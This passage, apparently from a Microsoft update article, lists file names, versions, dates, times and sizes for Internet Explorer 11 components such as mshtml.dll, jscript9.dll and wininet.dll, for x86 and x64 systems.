\nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 3,584 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 3,584 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 3,584 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 3,584 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 3,584 \nDiagnosticsTap.dll| 11.0.9600.19963| 12-Feb-2021| 18:28| 175,104 \nF12Resources.dll| 11.0.9600.19963| 12-Feb-2021| 18:54| 10,948,096 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 2,048 \nF12Tools.dll| 11.0.9600.19963| 12-Feb-2021| 18:27| 256,000 \nF12.dll| 11.0.9600.19963| 12-Feb-2021| 18:17| 1,207,808 \nmsfeeds.dll| 11.0.9600.19963| 12-Feb-2021| 18:12| 696,320 \nmsfeeds.mof| Not versioned| 12-Feb-2021| 16:34| 1,518 \nmsfeedsbs.mof| Not versioned| 12-Feb-2021| 16:34| 1,574 \nmsfeedsbs.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 52,736 \nmsfeedssync.exe| 11.0.9600.19963| 12-Feb-2021| 18:48| 11,776 \nhtml.iec| 2019.0.0.19963| 12-Feb-2021| 18:46| 341,504 \nmshtmled.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 76,800 \nmshtmlmedia.dll| 11.0.9600.19963| 12-Feb-2021| 18:11| 1,155,584 \nmshtml.dll| 11.0.9600.19963| 12-Feb-2021| 18:58| 20,296,192 \nmshtml.tlb| 11.0.9600.19963| 12-Feb-2021| 18:59| 2,724,864 \nMicrosoft-Windows-IE-HTMLRendering.ptxml| Not versioned| 12-Feb-2021| 16:23| 3,228 \nieetwcollector.exe| 11.0.9600.19963| 12-Feb-2021| 18:37| 104,960 \nieetwproxystub.dll| 11.0.9600.19963| 12-Feb-2021| 18:46| 47,616 \nieetwcollectorres.dll| 11.0.9600.19963| 12-Feb-2021| 18:59| 4,096 \nielowutil.exe| 11.0.9600.19963| 12-Feb-2021| 18:39| 221,184 \nieproxy.dll| 11.0.9600.19963| 12-Feb-2021| 17:45| 310,784 \nIEShims.dll| 11.0.9600.19963| 12-Feb-2021| 17:51| 290,304 \nWindows Pop-up Blocked.wav| Not versioned| 23-Sep-2018| 6:39| 85,548 \nWindows Information Bar.wav| Not versioned| 23-Sep-2018| 6:39| 23,308 \nWindows Feed Discovered.wav| Not versioned| 23-Sep-2018| 6:39| 19,884 \nWindows Navigation Start.wav| Not versioned| 23-Sep-2018| 6:39| 11,340 \nbing.ico| Not versioned| 23-Sep-2018| 6:33| 5,430 \nieUnatt.exe| 11.0.9600.19963| 12-Feb-2021| 18:37| 115,712 \nMicrosoft-Windows-IE-InternetExplorer-ppdlic.xrm-ms| Not versioned| 13-Feb-2021| 13:19| 2,956 \njsprofilerui.dll| 11.0.9600.19963| 12-Feb-2021| 18:22| 579,584 \nMemoryAnalyzer.dll| 11.0.9600.19963| 12-Feb-2021| 18:35| 1,399,296 \nMshtmlDac.dll| 11.0.9600.19963| 12-Feb-2021| 18:45| 64,000 \nnetworkinspection.dll| 11.0.9600.19963| 12-Feb-2021| 18:18| 1,075,200 \noccache.dll| 11.0.9600.19963| 12-Feb-2021| 18:18| 130,048 \ndesktop.ini| Not versioned| 23-Sep-2018| 6:26| 65 \nwebcheck.dll| 11.0.9600.19963| 12-Feb-2021| 18:13| 230,400 \ndesktop.ini| Not versioned| 23-Sep-2018| 6:27| 65 \nmsrating.dll| 11.0.9600.19963| 12-Feb-2021| 18:22| 168,960 \nicrav03.rat| Not versioned| 23-Sep-2018| 6:27| 8,798 \nticrf.rat| Not versioned| 23-Sep-2018| 6:27| 1,988 \niertutil.dll| 11.0.9600.19963| 12-Feb-2021| 18:44| 2,308,096 \nsqmapi.dll| 6.2.9200.16384| 13-Feb-2021| 11:46| 228,232 \nie4uinit.exe| 11.0.9600.19963| 12-Feb-2021| 18:11| 692,224 \niernonce.dll| 11.0.9600.19963| 12-Feb-2021| 18:40| 30,720 \niesetup.dll| 11.0.9600.19963| 12-Feb-2021| 18:47| 62,464 \nieuinit.inf| Not versioned| 12-Feb-2021| 17:30| 16,303 \ninseng.dll| 11.0.9600.19963| 12-Feb-2021| 18:24| 91,136 \nTimeline.dll| 11.0.9600.19963| 12-Feb-2021| 18:23| 154,112 \nTimeline_is.dll| 11.0.9600.19963| 12-Feb-2021| 18:40| 124,928 \nTimeline.cpu.xml| Not versioned| 23-Sep-2018| 6:26| 3,197 \nVGX.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 818,176 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 2,066,432 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 2,121,216 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 2,075,136 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 2,063,872 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 2,314,240 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 2,390,528 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 2,033,152 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 2,307,584 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 2,255,872 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 2,061,312 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 2,326,016 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 2,019,840 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 2,071,040 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 2,082,816 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 2,307,584 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 2,170,368 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 2,153,984 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 2,291,712 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 2,283,520 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 2,052,096 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 2,301,952 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 2,093,056 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 2,075,648 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 2,299,392 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 2,094,592 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 2,316,800 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 2,305,536 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 2,278,912 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 2,277,888 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 2,060,288 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 2,315,776 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 2,278,912 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 2,324,992 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 2,098,176 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 1,890,304 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 1,890,304 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 3,072 \nieframe.dll| 11.0.9600.19963| 12-Feb-2021| 18:09| 13,881,856 \nieui.dll| 11.0.9600.19963| 12-Feb-2021| 18:38| 476,160 \nieframe.ptxml| Not versioned| 12-Feb-2021| 16:23| 24,486 \nieinstal.exe| 11.0.9600.19963| 12-Feb-2021| 18:20| 475,648 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:47| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:48| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:49| 526,294 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:50| 499,654 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:51| 552,337 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:51| 944,559 \nInetRes.adml| Not versioned| 13-Feb-2021| 13:20| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:52| 543,946 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:53| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:54| 526,557 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:55| 575,838 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:56| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:57| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:57| 570,737 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:58| 548,119 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:59| 639,271 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:00| 525,504 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:01| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:02| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:03| 488,488 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:04| 548,494 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:04| 559,343 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:05| 535,067 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:06| 541,455 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:06| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:07| 804,470 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:08| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:09| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:10| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:11| 503,909 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:11| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:12| 521,583 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:13| 457,561 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:14| 420,082 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:15| 436,651 \nInetRes.adml| Not versioned| 13-Feb-2021| 12:16| 436,651 \ninetres.admx| Not versioned| 11-Jan-2021| 19:25| 1,678,023 \nMsSpellCheckingFacility.exe| 6.3.9600.19963| 12-Feb-2021| 18:32| 668,672 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 29,184 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 32,768 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 35,328 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 37,888 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 27,648 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 33,792 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 23,040 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 22,016 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 31,232 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 35,840 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 32,768 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 34,816 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 32,256 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 32,768 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 30,720 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 16,384 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 16,896 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 16,896 \njscript9.dll| 11.0.9600.19963| 12-Feb-2021| 18:14| 4,112,384 \njscript9diag.dll| 11.0.9600.19963| 12-Feb-2021| 18:37| 620,032 \njscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:37| 653,824 \nvbscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:47| 498,176 \n \n### \n\n__\n\nInternet Explorer 11 on all supported x64-based versions\n\n**File name**| **File version**| **Date**| **Time**| **File size** \n---|---|---|---|--- \nurlmon.dll| 11.0.9600.19963| 12-Feb-2021| 18:04| 1,569,280 \niexplore.exe| 11.0.9600.19963| 13-Feb-2021| 12:45| 810,376 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:46| 31,744 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 36,352 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 35,328 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 36,864 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 39,424 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:48| 32,768 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 37,376 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 33,280 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 38,400 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 30,720 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:55| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 35,328 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 36,864 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 25,600 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 24,576 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 36,352 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 33,280 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 20,992 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 21,504 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 21,504 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 46,592 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:47| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:49| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 56,320 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:50| 57,856 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:48| 49,664 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:51| 54,272 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:52| 47,616 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:53| 49,152 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 55,296 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:54| 45,056 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 51,712 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:56| 51,712 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:57| 53,248 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 39,424 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:58| 35,840 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:59| 50,176 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:00| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:01| 50,688 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:02| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 53,760 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:03| 54,272 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:04| 54,272 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:05| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:06| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 53,248 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:07| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:08| 51,712 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:09| 50,688 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:10| 50,688 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 50,176 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:11| 50,176 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:12| 30,720 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:13| 30,720 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:14| 30,720 \ninetcpl.cpl| 11.0.9600.19963| 12-Feb-2021| 18:26| 2,132,992 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:46| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:48| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 